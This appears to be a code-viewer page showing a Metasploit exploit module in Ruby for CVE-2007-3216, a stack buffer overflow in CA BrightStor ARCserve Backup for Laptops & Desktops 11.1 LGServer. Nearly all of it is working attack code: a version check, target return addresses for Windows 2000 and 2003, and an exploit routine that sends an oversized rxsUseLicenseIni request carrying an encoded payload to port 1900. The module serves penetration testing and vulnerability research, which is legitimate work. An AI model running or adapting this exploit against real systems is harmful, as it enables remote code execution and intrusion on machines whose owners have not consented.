Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup15for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an16attacker could overflow the buffer and execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2007-3216' ],23[ 'OSVDB', '35329' ],24[ 'BID', '24348' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 700,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],41[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],42],43'DisclosureDate' => '2007-06-06',44'DefaultTarget' => 0))4546register_options([ Opt::RPORT(1900) ])47end4849def check50connect5152sock.put("0000000019rxrGetServerVersion")53ver = sock.get_once5455disconnect5657if ( ver and ver =~ /11\.1\.742/ )58return Exploit::CheckCode::Appears59end6061return Exploit::CheckCode::Safe62end6364def exploit65connect6667data = rand_text_alpha_upper(4108) + [target.ret].pack('V')68data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)6970sploit = "0000004820" # Command Length Field71sploit << "rxsUseLicenseIni" # RPC Command72sploit << "~~" # Constant Argument Delimiter73sploit << data7475print_status("Trying target #{target.name}...")76# One-shot overwrite...77sock.put(sploit)7879handler80disconnect81end82end838485